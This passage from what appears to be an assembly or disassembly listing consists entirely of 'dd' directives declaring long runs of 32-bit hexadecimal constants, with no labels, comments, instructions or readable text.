0D8E44046h, 0C9308D54h, 136E71F1h, 381E0104h, 0FDCE583h dd 2008A51Bh, 34B2348h, 0DBA40C78h, 98D8D86Eh, 1C0EE818h dd 0B140EF69h, 0F3E90004h, 0D726CDDFh, 5F905202h, 2C9D1993h dd 59C7B8C8h, 0DF30D4BBh, 99BC8h, 516F2C60h, 0B6A072E5h dd 0EC61D006h, 81767629h, 918AF5Ch, 38180404h, 0F52CE473h dd 8103413Fh, 0F1511EAFh, 81C81FA8h, 0F0675C01h, 9065BE02h dd 285A57EAh, 6B05B298h, 0E0F397ABh, 4402FCC2h, 47360044h dd 6F57EAAh, 0F700CC64h, 0D0014E4Ah, 0BB01080h, 0D78A636Ah dd 0E2195C07h, 944E8F4Bh, 2B639A00h, 8A95E9DFh, 13E70035h dd 0BCA7B4B7h, 0CC7CADF8h, 0AF8B9900h, 4F64B174h, 12609067h dd 21B519AEh, 71B021CCh, 6B10E840h, 83E8E407h, 0A7C0EDE7h dd 4AA49B1Eh, 6F7820AFh, 843CCDC3h, 9EA7804Ah, 0E52A6973h dd 707C3CC1h, 6692C500h, 853F77E9h, 4A2588B0h, 916C158Fh dd 775380D9h, 383CE789h, 1A80D548h, 0AABE4DE8h, 74912BBDh dd 913817A5h, 0D05D80F0h, 0E6922DD8h, 2154B963h, 3B0D80DCh dd 0BBFB38Bh, 0FE9D7F14h, 32091520h, 0B27800C4h, 6A4DF647h dd 8AC61C46h, 45D18005h, 4386BD07h, 0D829C4FAh, 5712D868h dd 0EC987020h, 73AA05B9h, 0C1C359B6h, 2E39A20h, 9E1883C9h dd 45660024h, 7B3E1A7Ch, 6309C720h, 9967AB9Bh, 1020DE7Ch dd 0EE8A4D7h, 0AB41A110h, 57D8FC23h, 0AFC11905h, 9440C53Ch dd 10A9D96h, 5C781C89h, 830400D4h, 0DF2217D5h, 0E100F8A6h dd 0AECAD333h, 15299D1h, 2A6428F1h, 0DCECE6C3h, 0BB17AFB3h dd 580385D5h, 0B821FA44h, 50943F96h, 0A77856h, 7BCF01C8h dd 9534CF9h, 7FE8AA17h, 0C0F46030h, 3D97007Dh, 56E33B15h dd 690F26E5h, 0C07ACD6Bh, 473A198Ch, 896C2488h, 0AFA9094Ch dd 51F22C6Bh, 71274852h, 0D0781341h, 56C1F6h, 4957C6A9h dd 19FE9E59h, 9018E127h, 0F4B112A0h, 4C8CA2D9h, 3760208h dd 0E52B3887h, 24108919h, 8400042Eh, 0A7E152C9h, 18F469B9h dd 0F9623AE8h, 42028674h, 0E975D13Fh, 99C722Ch, 77762767h dd 2480A0A9h, 4F4BAB51h, 13EC103Ch, 0E8428C4Dh, 2453F571h dd 103058BAh, 34674F99h, 5284A258h, 30EFE288h, 412CAFDFh dd 9360A079h, 1275E0F9h, 4A6ABFDh, 508F2250h, 1FE0744h dd 605F8531h, 62842C66h, 57AF3E81h, 0B280CBB5h, 53BC0720h dd 2940B9C0h, 0FA3506h, 9674736Bh, 944B014h, 3F80C096h dd 0D3CE3E45h, 157A0A31h, 5ECCD856h, 3A00BB46h, 9F8426FBh dd 5A00C257h, 7DD5CE14h, 1DFD6722h, 40CA78E1h, 82AAA543h dd 0C8948B29h, 0C89C9360h, 2CFE4FCFh, 0F3031A38h, 760BF09Ch dd 0F4A5A8B5h, 54949810h, 0C9BC27h, 0CDCF8A6Ah, 0E3F0B979h dd 2EC4E94Ch, 1E400809h, 93E842Ah, 0ED939D5Fh, 59231B80h dd 4EE8E64Ah, 31501E0Eh, 0C13178DEh, 7CC700C8h, 22A5352Dh dd 0E04E23AFh, 73432445h, 0C959ACDCh, 6C008B39h, 0A8DE882h dd 2890D7E2h, 106A9204h, 38E0A2FEh, 725D444Ch, 0E04D761Bh dd 0A171FB59h, 1C7D60Ah, 0C52C8B39h, 0E0E85D6Fh, 0FFE0B8F3h dd 0B4E949C4h, 0A1A1488h, 719594BAh, 34B54018h, 690B1D43h dd 0E048A742h, 75D894h, 0F2B31003h, 0E60C23F7h, 0E33D3600h dd 2B99F9DEh, 0A56D4C1Dh, 0B88342Ch, 5100FED5h, 18A8D328h dd 36274A18h, 6FB644C8h, 0B8788001h, 0E488E612h, 492B2A4Eh dd 7BCB449Ch, 1B75E109h, 3AA4182Dh, 4CAAF01Ah, 0E8176050h dd 0C04C2D39h, 0D2C0C03Ah, 9125AEF7h, 15A80C17h, 6049E002h dd 1296E1Dh, 0AAB60403h, 0A0EFC864h, 8820C0DBh, 37BE2B4Fh dd 18BE8258h, 0C339F644h, 20A0B08Fh, 6D1DACABh, 0F994D763h dd 0C122EB0h, 0DF0A08h, 3D8227D5h, 98C5A010h, 0B887C87Eh dd 0D7A0CBA7h, 0F8C22863h, 555712E9h, 80E04844h, 96C0C0ACh dd 12642E49h, 894D8A5Dh, 586C6638h, 27A23C60h, 82B0096Bh dd 0E8D216C4h, 0CEC3E0h, 8E1F2682h, 56087E0Bh, 9C4BB1F8h dd 28E0083Ch, 1B875D5h, 6369410Dh, 80F3C0F8h, 37ED83D8h dd 0A06018DAh, 4C1B9BB3h, 0C12449Fh, 6D540338h, 313E63D3h dd 0DCF601E3h, 5EB82905h, 989B6870h, 576E654h, 0EAEBD145h dd 43284339h, 1928C17Eh, 0E044C08Eh, 0EFE4266Ah, 65C047A0h dd 4A60605Dh, 0AE64959Bh, 3008E9A8h, 0FC76B581h, 9050EC9Ch dd 73CA27F6h, 0AFF11F54h, 48665412h, 10485016h, 29857CA7h dd 59084A6Ah, 0D881F3Ch, 11918D3h, 1136D184h, 9878EE63h dd 25E9D500h, 699EDA38h, 1AD148A1h, 0F5A6D50Ch, 390C9B49h dd 3870F2D2h, 317F07D7h, 0C099C4A0h, 3BDC510Ch, 94546450h dd 0EBE40514h, 1963F18h, 2C9CB429h, 82FE4DBBh, 81D3DB50h dd 0AA45E01Ch, 309C07FCh, 3999825Eh, 5630C4B8h, 8871117Eh dd 906301C5h, 12E862C8h, 0B2845110h, 93EBE3C4h, 0D4DB8C0h dd 55CA830Ah, 0F93EFCE9h, 6B65D718h, 7BF7ED11h, 9048F22Ah dd 0FE920A86h, 203466C5h, 0C1D560DCh, 5939919Bh, 0F2982E8h dd 7830A032h, 5CD8947Eh, 0C19ECC65h, 0A905353Ch, 1EC7719h dd 444B2187h, 1082E9ECh, 374E0ED5h, 0BA5B8480h, 643A2651h dd 809B38A2h, 42F6C772h, 34D88639h, 2A61C55Ch, 711B2040h dd 0EA0085E9h, 3829EC43h, 41C35B8Fh, 0E4E944B4h, 7941F1A1h dd 491211E4h, 540FC714h, 0B664F07Ch, 81E13770h, 98F8D1BBh dd 88419B38h, 4F710981h, 2C04A826h, 0A980900Ch, 46227B66h dd 699A28EDh, 5E87210Ch, 0A3C49110h, 0D8C91653h, 6BF8C8EFh dd 40094A4Bh, 0F091716Ch, 0A1009388h, 379F4124h, 0A01FD573h dd 1F867C6h, 42A32560h, 86890C50h, 0D038BC48h, 694F03B1h dd 0D5212D53h, 0B022D188h, 0E6020918h, 64ED61h, 39857A6Dh dd 0F5D614Dh, 58C2EF00h, 67D8DCC8h, 62C70048h, 3B791AF6h dd 0DE030D46h, 2E5641EEh, 0D5A0C037h, 906A0014h, 584208E2h dd 0F40748CDh, 0A40F1972h, 0C7A88D20h, 0F09CE6E6h, 609DF8DDh dd 586381EEh, 98BAC9EFh, 0BE08A300h, 0F3CDDCAh, 49FD76A2h dd 1F006CFEh, 8342C5E1h, 0A10E2834h, 0F3C3BFh, 8FB95140h dd 8886004Fh, 0B65682Fh, 1100E1D8h, 0B07D3273h, 0F7FFB8h dd 695A0C0Eh, 0E6262182h, 0D08B4400h, 5B73078Ch, 2D1E3059h dd 0EFBF5018h, 9030FB60h, 802C96E1h, 50C08E1Bh, 85477335h dd 6761C008h, 952C0CF7h, 80F68F03h, 0A7F5D79Ah, 76FE21ACh dd 0A58300E1h, 0BE13F86Eh, 9122EBE0h, 0AE070022h, 40828DAFh dd 8E108BDAh, 0ED0FF480h, 17E66332h, 13002831h, 8DC94037h dd 1D1BE066h, 184116F4h, 4FF12102h, 6AB6180h, 8FB822EAh dd 0E80CC834h, 0F9083E52h dd 7DDE20F4h, 94D3D929h, 9192373Eh, 14804CC7h, 0DC54F3A1h dd 0F080FC40h, 0D37FF780h, 0C601DBBFh, 36BA3EE4h, 3680F597h dd 86CE81Bh, 180337B7h, 705D16C6h, 0CFDDA045h, 1170049h dd 589EE2B2h, 7800E093h, 812076ECh, 0E57357h, 0DF23FFE9h dd 0BEB23ECCh, 726E8B00h, 65D440A5h, 15F10046h, 0E6BC4FA6h dd 0EE075C89h, 2AF98111h, 0C2D058F0h, 0A2D3031Fh, 84EF36E1h dd 0FE1DF0D5h, 4245E802h, 0C03DACB2h, 9D6A40h, 89655E6Fh dd 0E40A049Ch, 0B001A5EAh, 0AE0232C1h, 8DC863BBh, 75690068h dd 0B96ED1CFh, 3100BE94h, 0E339715Dh, 3EC137D2h, 6697A01Ch dd 55A10003h, 1F06B292h, 0BCA14A07h, 36A03990h, 3EC327Fh dd 0AC73293Ah, 7EE3CE4Ch, 0C50444E0h, 8E2B2D3Dh, 0A052688Eh dd 9F7D6430h, 12C7C0Dh, 6EAB8914h, 0C4675D7Ch, 0C2174663h dd 0FF0F1B77h, 0B8DC8031h, 180FFD66h, 0E8E33E2Ch, 8F00F5E0h dd 0C837584Eh, 2AB5286h, 31BFD625h, 88984908h, 3A7D6788h dd 0DAC0F7F3h, 4D000CFFh, 0F2747EE2h, 617CFA87h, 8F97F843h dd 0D10FDC6Fh, 0ACE84260h, 67D81F60h, 93DA604Fh, 590621C2h dd 7CB0882Ch, 5E3437C8h, 399EE031h, 2A0C95A7h, 197035E7h dd 4C5900E4h, 1F08A581h, 4700917Eh, 65469E5Bh, 33C25Fh dd 21A48E58h, 0E873F710h, 8F13E401h, 977D0A37h, 0E06260EEh dd 0C0F33B42h, 0FFCA680h, 0CEF2A43h, 73E9879h, 0AD9601C4h dd 5A9F6E1h, 408E3980h, 34886895h, 0FE2F000h, 71F8C64h dd 0E5220066h, 25F7BC93h, 49C03FBBh, 38352386h, 6DF6066Fh dd 38DB9C88h, 7504463h, 0EFC1A043h, 0DD31C02Eh, 5082CCA1h dd 0AEBFB06h, 600894F8h, 0A2EE21DCh, 9358E7CCh, 0BE7C3998h dd 5938B7h, 420FFB8Ah, 0A8EEBE97h, 11CC9E28h, 84035061h dd 0FF009914h, 0F2C2CC87h, 9C75FB01h, 4AEEDCFEh, 4E24A8h dd 0CC2ADA5Ch, 0FA1F92D0h, 38C0B572h, 4AACF77Dh, 0C93EEEAh dd 447E41DBh, 88A0C908h, 0B800947Dh, 2F209545h, 340478Bh dd 0A38C2A69h, 5106CBD1h, 17D78F22h, 5F110060h, 0EC1EB1F2h dd 0C500D331h, 836C6791h, 1C5BFB21h, 0FDD762h, 0AFC0C32Fh dd 3E00F913h, 9EA9A864h, 1A4117h, 71BF6263h, 0A5126B9Fh dd 0C9741078h, 26C2A1Eh, 0E98288Bh, 0DF0B2088h, 4D27ADh dd 0DAEF5A7Ch, 0DEB744Bh, 89EDD700h, 561F84B8h, 0B18502DDh dd 0F3551E22h, 528DC2C0h, 8023163Bh, 0AF67A544h, 0F39249Bh dd 1F649ACBh, 0DC04964Ah, 0D3A45C08h, 0D26CD89Ah, 960D0F8h dd 0BE893D70h, 0F504A043h, 1ECA0871h, 4D141F35h, 0CCE61D1Ch dd 8F0500Ch, 2018D10Dh, 0DA881860h, 0C41DFA94h, 9C19E37Bh dd 9B2B599h, 18853E50h, 224C4DF6h, 7831D369h, 955319D2h dd 63B51C43h, 9E4A1071h, 505064E5h, 0CD856010h, 408116Ch dd 2622D283h, 449EF028h, 0A3C9B166h, 1C375309h, 36244D03h dd 82A5C95h, 21320C1Dh, 832D29C3h, 23DC9A68h, 52BC1680h dd 569EC050h, 34CB9AEh, 0F91155C4h, 409DEA9Fh, 0CCDB8F70h dd 0F63996F1h, 88AB493h, 442FC2Eh, 0A795C3FAh, 451014C9h dd 0FF000CE3h, 3C493DDCh, 7301A17Bh, 4126715Ah, 2040B5D7h dd 6446E46h, 879CD9F2h, 0F73A1940h, 38483675h, 20C6F859h dd 4F188FBEh, 0B4492E12h, 4C1E0023h, 0CBBF52Bh, 950C46B6h dd 38CCED44h, 0C50706D7h, 10CBDB11h, 856A2100h, 0F3A632BEh dd 0D5A53192h, 711E4069h, 69488FACh, 99005E97h, 0F2177E49h dd 1ACC3ACFh, 0DCD2720Fh, 0B07AC447h, 96435463h, 0BEB03F12h dd 0DE093040h, 0E802FABCh, 8FE6189h, 0C6C6398Ah, 0CD488CACh dd 83FE51CEh, 88C8B160h, 153D405h, 1FAC1640h, 703FC561h dd 0D1010CD4h, 64A1EF82h, 2470C103h, 52390CABh, 0A4E9CCE1h dd 942C723Ah, 1E8C238Dh, 0E9F102DDh, 0B1D88B95h, 0AB690C96h dd 9889996Fh, 0D6248D00h, 977A3F9Dh, 189C90F2h, 28AB9E4Bh dd 0D680920Ah, 0EA6AF2D1h, 68C1DF90h, 71A11288h, 8FB400DCh dd 5C825224h, 0ADAA260Ch, 0D9B3304Dh, 81D6E169h, 9BEACD08h dd 3889DA3Ah, 648055DCh, 9EF0B5F6h, 4634824h, 21DB3B0Ch dd 9ACD014Dh, 0C42753Fh, 1AA09492h, 86B440A8h, 8EF5ACA0h dd 6A1D30C1h, 4B70C580h, 98B050E1h, 879D329Eh, 0A8949A89h dd 33310C0h, 4EE6C9Fh, 5243CDC8h, 7389195h, 0B0A1035Bh dd 0A581FF9Ch, 226588B8h, 253962h, 9772829Fh, 8B1F6974h dd 0C3406E16h, 8FE4F30Fh, 3BFFFE95h, 6C8955F2h, 2002A979h dd 40019363h, 0A442ABF6h, 0C739009Dh, 0C53E3A8Eh, 816C0E92h dd 0C326E7CAh, 0ED243E81h, 72D9B8h, 4A9C30BBh, 822FCF52h dd 0C6D7B618h, 920FB020h, 0A1660950h, 88251710h, 0D6B80961h dd 0D94DC490h, 50CFB8A9h, 0BB025384h, 1A349CE8h, 0D80329F1h dd 78DC90C1h, 888CA508h, 43043EB9h, 44968171h, 350C90E1h dd 4815444h, 815B0B1Ch, 278FD618h, 29101A30h, 92882029h dd 0A1968201h, 87018A4Ch, 0F0605349h, 4EF122h, 9379649Ch dd 82AE0E40h, 0DC98A700h, 86164599h, 441090F5h, 0C0E264E4h dd 9F180C77h, 1AB1B8C7h, 4229C8BBh, 9BC04C40h, 723CA0B9h dd 528890C8h, 0E30E5803h, 909963FEh, 149F184Ah, 0F0BA0F27h dd 1FA72E00h, 4C2BA269h, 93809B63h, 0B02060CCh, 0FDAB38E3h dd 0CD9260DDh, 3C1FB800h, 6E8889BEh, 47D318F9h, 71CCD7A8h dd 85AD833Fh, 0B455F971h, 10BFB00Fh, 4CBD184h, 881AD258h dd 0C8015C40h, 0A765E4A8h, 0B16CD400h, 944C3AF1h, 726A2C18h dd 376301BAh, 20951544h, 0AA551A38h, 9DACCC84h, 8C93CEF1h dd 83C2848h, 80BCC6DBh, 0C8CD5214h, 0F54995A0h, 0AA82001Ch dd 0CB30909Fh, 108F6047h, 0CC1D8EF1h, 488D1E26h, 8D41B01Ah dd 3AD418C8h, 10BF6E54h, 7520F1AFh, 6499B782h, 8CC2FB28h dd 0BB98FE54h, 23197200h, 2B55E7AFh, 46220727h, 0E0F46635h dd 7E5DA41Ah, 7CB9E360h, 1EF70852h, 7A75364h, 0C6A8F0CDh dd 4AFE2114h, 27C62E00h, 64DFF2ABh, 37A9024h, 4F26A1C1h dd 0BBC0F656h, 22772967h, 3D0C4B4Ch, 597580ECh, 5BA160BDh dd 0D7890F7h, 9A028784h, 62E1BB30h, 187F7A90h, 0F60809ADh dd 64A88B64h, 45B140A6h, 6C5AA08h, 323F86D4h, 8F005094h dd 0B40747A5h, 67553A1h, 9E3ADB7Ah, 0F80690B9h, 95E4A78Fh dd 1BBA0079h, 693B1197h, 1333EE50h, 3CD08B1h, 9702D521h dd 0BBE35E2Fh, 60AC0BC1h, 383FA6E0h, 2BB90032h, 8F966472h dd 9E862805h, 55400388h, 16D3608Bh, 0E73BC3A8h, 8EBD4701h dd 2E649D5Bh, 0F1D62C0h, 0F3321F0Ah, 35B29900h, 97004EA5h dd 762B7C38h, 0A8C280h, 54D7FC06h, 9C70C1B1h, 0E31D27E8h dd 78017723h, 0F749FAEEh, 7694C6E0h, 0CD342C98h, 28893E4Eh dd 9880732Ah, 435D17Eh, 36267C19h, 0BA0B2B08h, 0BF16D980h dd 0B47F7396h, 0BC002A7Ch, 90D07927h, 4A7A14h, 0EE9221F6h dd 7372C7F2h, 196C7E18h, 899B0528h, 445B08C6h, 6B447AE0h dd 92674409h, 0E9A92284h, 61280650h, 44BE8144h, 4720E845h dd 142250C6h, 0EA0344A5h, 44954644h, 22842E18h, 0F65086F7h dd 6A448128h, 0EF6D44EAh, 84027744h, 0A1F05932h, 8DFD1036h dd 29B92E89h, 0D1A85A07h, 0EA22D067h, 0A70055D2h, 78F76CD0h dd 74C08BFh, 968BD8AFh, 427A9099h, 9000C912h, 6746E30Fh dd 13DBCA8h, 367263FCh, 609CE492h, 38E21735h, 0B3B06800h dd 91AAE3DEh, 0C64F0079h dd 8C850A4h, 0DD28882Bh, 0EE00A422h, 6596E87h, 0AF445Bh dd 98B2AD7h, 0E758244Fh, 0FE0194FEh, 0F91755FCh, 0B7F0517Dh dd 0CDBE2DFh, 0BD087FEAh, 1B000440h, 88A199A5h, 24C024A8h dd 7143DC5h, 0C2FF3622h, 9AC0DFBCh, 6C16F364h, 0EB0165A6h dd 6B560E86h, 6AEE1080h, 823EA904h, 93272300h, 1B2A29AFh dd 0D2760B15h, 0CC015546h, 20364CB2h, 0B1505C44h, 88001374h dd 28E8A54h, 8FD247h, 0D56FDA9Ah, 0B3BB6177h, 0D800F9FCh dd 0B1BC1DDBh, 1CD39730h, 0C0F446E6h, 2E99E131h, 6F0CB36Dh dd 282A1B25h, 0E37A0F53h, 0BBE0FE6Ch, 76877402h, 98282400h dd 0ECA0A53Ch, 9DE088h, 0C491A743h, 717345A9h, 0DE235B1Ch dd 74E5FA40h, 383CBF0Fh, 600A2E3h, 9AB8D1AAh, 0F800B747h dd 9C358E22h, 0CCFC70h, 373ACE38h, 0E2DFD8Ah, 4E00BEF2h dd 0C4531777h, 1D9DF37Ch, 0C7508492h, 90824301h, 21958DD0h dd 0E11C1F07h, 0AF30AD7Eh, 0B48A70Eh, 0E7333BDBh, 382B0800h dd 0E9FC764Bh, 7CCB01Eh, 82BD48C0h, 0C62731h, 5603921h dd 8E37B520h, 3EAF5407h, 2AB1623h, 77E2B9F2h, 0FD883363h dd 5248EEF3h, 8859000Eh, 2353A00Bh, 0E33F00ADh, 0E9A70598h dd 0EA0FD772h, 0A074B737h, 0FEBFCC9Fh, 1F3F1E3Bh, 0A18241F4h dd 40530463h, 0B0926588h, 1A0671F6h, 5AD09E59h, 2D4F0018h dd 60103E21h, 0D500807Bh, 0CF5870AAh, 1209CE26h, 47A46577h dd 0A0C81138h, 7616823Ch, 0FF5A7100h, 94D7F853h, 80E889h dd 0F21E151Dh, 0C2461656h, 81AF8C00h, 5290FDB3h, 9C970004h dd 0AD3D499Dh, 8A09D8EFh, 53B4AFh, 454DE224h, 0DA7E00C5h dd 0A62FD67Dh, 0A9009E47h, 39D1FC92h, 0E478C1h, 2D7E2331h dd 6EF58742h, 0E6C86860h, 366371h, 0FC568C79h, 8BC30517h dd 803B0400h, 46663EE2h, 0F11D0770h, 60832550h, 33FD4D5Dh dd 1E00A7FEh, 0D3C0E534h, 0BF2DB0h, 9D01F16Bh, 0BC99E32Eh dd 6317A04h, 0C8C00D1Bh, 0E034992h, 263B105Ch, 7727FA20h dd 0E170554Dh, 6E80C200h, 0A63CB563h, 5A650029h, 0E887C662h dd 10003D91h, 0B7C4047Fh, 1D60EDF4h, 0BE8C5B09h, 36D9AAEh dd 0B339F724h, 2CAAC0D0h, 52317514h, 143800B4h, 0BF3D3413h dd 5AEE1E68h, 426EC097h, 98E18875h, 0E8DA761Ch, 2D113640h dd 0B59BB8h, 25E2EC28h, 1F27A2AFh, 0B6D3930Ah, 0BB00AC77h dd 0B35DBC9h, 0CBC80E5Eh, 407F69D7h, 333686E0h, 0A577CC9Eh dd 0D3B45A00h, 0A06330FFh, 0F1FEB8h, 0DC381BBDh, 5B69D868h dd 0BC808100h, 3E2B52C0h, 0A6F00396h, 0F7444798h, 3A83EC90h dd 77087A03h, 1B5F32h, 245ACE88h, 805D72CDh, 81D6340Eh dd 606820C4h, 0C208DBh, 0A4B9EE4Dh, 98B8AF3Bh, 0AEEE3560h dd 90DB2156h, 0E5C9004Ch, 690D3627h, 8200D89Bh, 0A3657162h dd 0E6B6D1h, 5C595A80h, 7FDD12FCh, 9574B404h, 0CC8125DFh dd 0F4F05F3Eh, 0DAB21EEFh, 3F7281Fh, 0A1680B83h, 73A01C89h dd 0EC01E09Dh, 0B5AA53D2h, 0E2F46144h, 38E40097h, 0FB3DC2EFh dd 0D724BF54h, 0AC09489Ch, 5BF6837Bh, 71A5C8D4h, 0F26D3F1Dh dd 34D8AA80h, 0BA661E9Ah, 3E0CAD75h, 38D90138h, 0AC220F6Eh dd 8C803C25h, 169C915Ch, 5559F800h, 6F763402h, 43250177h dd 7A891F93h, 873DC0E8h, 0A96CA807h, 5AE0465Bh, 0EA358D03h dd 37C3041Bh, 0C34D6B67h, 0B6892912h, 0FC39805Fh, 0DC71B3BEh dd 7B3D1E41h, 6DDD002Ch, 1B83339Ah, 97A2020Bh, 21440FCFh dd 0B870C5ECh, 261E1180h, 4F1C8598h, 5879FC00h, 4EE107D6h dd 3D3600A9h, 19904DDFh, 513E8CAh, 7040D138h, 0FFD6266Ch dd 318003Fh, 0CC559802h, 0B400B1F3h, 776E637Dh, 0CBDC66h dd 46A7D859h, 0F6873575h, 0DF77B498h, 0B4451E02h, 60084425h dd 490B21h, 22EA204Dh, 0C1737AE4h, 5300A6E8h, 4ACB418Bh dd 532A3C7h, 5D3FF3FCh, 0B6E800D4h, 0DA0ACFF9h, 0B4B24Ch dd 52946D04h, 444E23h, 0BFE7B64Ch, 9CCC73F4h, 0B163F71Ch dd 0B3D1F9C0h, 0EA31528Bh, 6179C1h, 0B517F84Fh, 60D30324h dd 0EA9221C0h, 0F426EB6Bh, 0CB6D26D8h, 97F0E1Ah, 0AB722740h dd 0D5701110h, 0F53D4700h, 62C3E59Bh, 0F4C128D9h, 0E04570D6h dd 8A38002Dh, 4FF8ED52h, 9700033Ah, 0B0FFA786h, 1E2D78FCh dd 2AF0BBAh, 0A654254Dh, 0F50CE581h, 40542069h, 6EB89A0Eh dd 0DA9B0032h, 0F93D7Ah, 0FC78686Ah, 96C743E3h, 814F1538h dd 0B53C4C02h, 0FE4064AEh, 74FCCAh, 0ABD2755Bh, 3149EE17h dd 0BD2CA5E0h, 1F008415h, 97DB659Ch, 0C57B507Fh, 78CE06E5h dd 0B810C177h, 99DE1501h, 252DD0E2h, 7208F0h, 0D5164FD8h dd 0FEA71163h, 857E6F01h, 0F7DF9EE8h, 0EAEBC88Fh, 0C84288A0h dd 1D4877ADh, 0BE0B01F0h, 3EA50208h, 0EA408880h, 1DBDCE70h dd 6566C70Fh, 0E0AC2043h, 1E15C996h, 0C0A05E6Fh, 27ADA54Ch dd 530B4AB7h, 9125CBBDh, 9030AE48h, 0BCBA009Dh, 8E77C5B4h dd 0FF005D9Bh, 0C92C20C7h, 0BF08F1h, 0A3151A69h, 0D268F309h dd 0FD7FE670h, 54E2BA00h, 9A2E4ECEh, 471B18E3h, 0C79579DEh dd 8793C24h, 0CC397524h, 1C7D19C8h, 7870E9B8h, 5FA40095h dd 3B7F4CD8h, 5016499Ah, 0D4E0E2A3h, 6BB21F96h, 0F1A70705h dd 25932070h, 2B067DCDh, 0DABAD10Dh, 0D674A8D2h, 0E7DD3C9Dh dd 506A6B00h, 0A4E59EFEh, 374979F8h, 284898h, 96146C9Ah dd 19BF036h, 0AE43BEF2h, 30DD5EC7h, 6E00B57Ch, 0C2E267A0h dd 725A23E9h, 424F0339h, 9DB48248h, 0D465DBD8h, 6EE43E03h dd 904422B0h, 2C39934Bh, 5BCE95h, 31A0FA0Eh, 2A00D8E1h dd 0DB11787Ch, 204E8Dh, 0F24A42F1h, 0A8E9EEEDh, 90001F79h dd 6C109B9Ch, 749A018h, 13B83724h, 3D9F4055h, 0BBB8FA32h dd 0B58E9A13h, 0B195C081h, 70A2C828h, 51D7C60h, 0DD330400h dd 16878396h, 0E72B00BDh, 74525EDBh, 9F019AB9h, 5908AC70h dd 7870BE23h, 0B4DA1231h, 9C6C1DEBh, 5C2E43FCh, 52B0DF3Ch dd 570C5E61h, 40BA73C5h, 59990077h, 3C3854F5h, 0C274E684h dd 0A8ED4E0Eh, 312442CBh, 2FA0E8F7h, 1CFF0537h, 0D3396674h dd 71C81FC0h, 0D4BAA14Fh, 37C6B600h, 0BB38D8EAh, 0AD020354h dd 0CEA965C0h, 0A6153CF9h, 93003039h, 46DC82FFh, 1F730CAEh dd 366888CCh, 7E00DAEAh, 0B0B253EFh, 0FE6F751h, 0FA7DF8BDh dd 608675E0h, 0D90EACF3h, 0C3901941h, 0A8BBDB4Ah, 30D6C7h dd 7A6C6F96h, 8CE8EFE3h, 20B72226h, 0A8332700h, 3F58FD15h dd 4B800C31h, 1424968Ah, 38983F18h, 49E1C100h, 94DDC02Ah dd 0E87D003Ah, 20E2DCF0h, 5005346h, 375A2BF5h, 905FEEB9h dd 9A7C22h, 920CFCE3h, 7490233h, 83C93Bh, 0A2B6B454h, 61A97168h dd 4D31E037h, 1E4303Eh, 0CEB04400h, 7B58296Ah, 0DEB51769h dd 340040E8h, 1C77D50Ah, 4767EC00h, 70980E7Eh, 1FCF846h dd 38E229A7h, 0C282E366h, 81397C40h, 5265F503h, 0A184B725h dd 460A48Fh, 7E1E00F2h, 2F4A88C9h, 6930DDACh, 0B979F0BAh dd 0F930306Fh, 0AA1CE411h, 51F28600h, 0F12732D6h, 0A0FB5075h dd 0A9E00BE6h, 0E8803ED5h, 56E7E443h, 899B6700h, 0F0BD49D1h dd 685D0069h, 778D1098h, 81006CEAh, 3CCACDA8h, 11123ABh dd 211647BCh, 80FDB703h, 0B245C458h, 0E76A1Ah, 8E704B7Ah dd 0C50C67BEh, 0FCC0A360h, 9D646Bh, 0C14F5599h, 7570F96Dh dd 19BB260Bh, 0A8380081h, 9D1D5ACh, 97B609F2h, 0FB1B3400h dd 5200A0B9h dd 398D3A5Ch, 7E05362Ah, 9D44009Eh, 3C1067D0h, 6503A5B8h dd 22244666h, 12B08794h, 142A3E3h, 0C72ED4AEh, 0C9FE5979h dd 9894437Bh, 14A3A6A0h, 0F40C5F00h, 76C49CCh, 76A8E80Fh dd 21B012B5h, 64205D3h, 0CDD000FEh, 5749F185h, 8B049200h dd 9E61F93Bh, 0CCF53FEBh, 51E16F9h, 0D0E800D7h, 71FB341Fh dd 3E39D103h, 83B1780Ch, 5AC9D1C2h, 13BCA830h, 0C09D8F96h dd 424925BCh, 0C5A91100h, 4EE2C0F9h, 30103CBDh, 28B6C30Eh dd 0D9385E41h, 486BC01Eh, 0D30062FAh, 3D5B2F9h, 3899E52h dd 0E316F583h, 2DA7FFB3h, 40F030B8h, 80A8654Dh, 0C7E14774h dd 9AAE07B0h, 0A040A93Fh, 0C10AAF25h, 10941830h, 39B2EBF1h dd 3F052610h, 0A0727EEDh, 966AB814h, 8F160058h, 0BD37D707h dd 8C974042h, 16618F8h, 0E321CF9Fh, 7E3DEA42h, 1549F0h dd 59943E03h, 0C6E98E38h, 53D9811Fh, 48BF6989h, 0A3E7B98h dd 27CFA6B7h, 98F43999h, 9BC70164h, 0FD172198h, 0EA9ED8F2h dd 1C209703h, 0F0B04867h, 27DF6Eh, 0C7096ABBh, 79D5100Eh dd 4C8C38h, 0FF2E04CDh, 5407F56h, 53BBF63h, 87E00EC7h dd 0E8A08989h, 34B6A190h, 26514248h, 5C008901h, 0B9F093C0h dd 0C170F764h, 0FB580436h, 804B14B1h, 458B08A8h, 2D81F904h dd 0BCD0D71Fh, 1698DF1h, 4035ACF4h, 5045E077h, 59965690h dd 0FEEEAD18h, 547DBE10h, 4C4FA43Fh, 4D003125h, 0A681B7A2h dd 0F63EEC65h, 803598E0h, 31E5010h, 0F4787FBDh, 0EFC07730h dd 0F8B0573Dh, 7A459D07h, 804F811Fh, 3E9FD4C1h, 211A60CEh dd 71E74FCFh, 0BB209C02h, 0F0EE8824h, 0A9CA1258h, 0E5DC40CBh dd 914773F2h, 497EE907h, 0A0D98DB6h, 1429ACE8h, 1F5900F2h dd 7C3CD11h, 15008447h, 27B6C9A1h, 0EA88AC89h, 2F7D40h dd 8F4497BFh, 69EF2914h, 35109000h, 466B304Ah, 1EAB0096h dd 6439F844h, 7400D18Bh, 5A835369h, 1E1B940h, 0C5B11CBAh dd 0C9210A6Fh, 4EC44CACh, 0B5D5F400h, 0B0757B12h, 4CD3008Ah dd 0FA6EB02h, 0BF715DC1h, 0B4046228h, 413E2375h, 31170075h dd 4FE68B9Ch, 77350065h, 1B6884B5h, 0DD260AAEh, 40E38D6h dd 724E203Ah, 5448F058h, 24EBE028h, 8060D8CBh, 0B7E3A48Dh dd 0A9C040E6h, 0BD6C8CADh, 5CF9864h, 0BAA9A60Bh, 0F2DC804Bh dd 0E3018ADBh, 0F5DD9516h, 0B86870F4h, 289ECB3Fh, 1185505Fh dd 0BD2C237Bh, 0BCAA45E0h, 72D849D3h, 79AC7704h, 0A4C0BB2Bh dd 116AE4Eh, 60B98ED6h, 6817CF45h, 34B100CCh, 0BDA4A86Dh dd 2630455h, 0C086A041h, 0C005CC62h, 752E9719h, 0DC629B71h dd 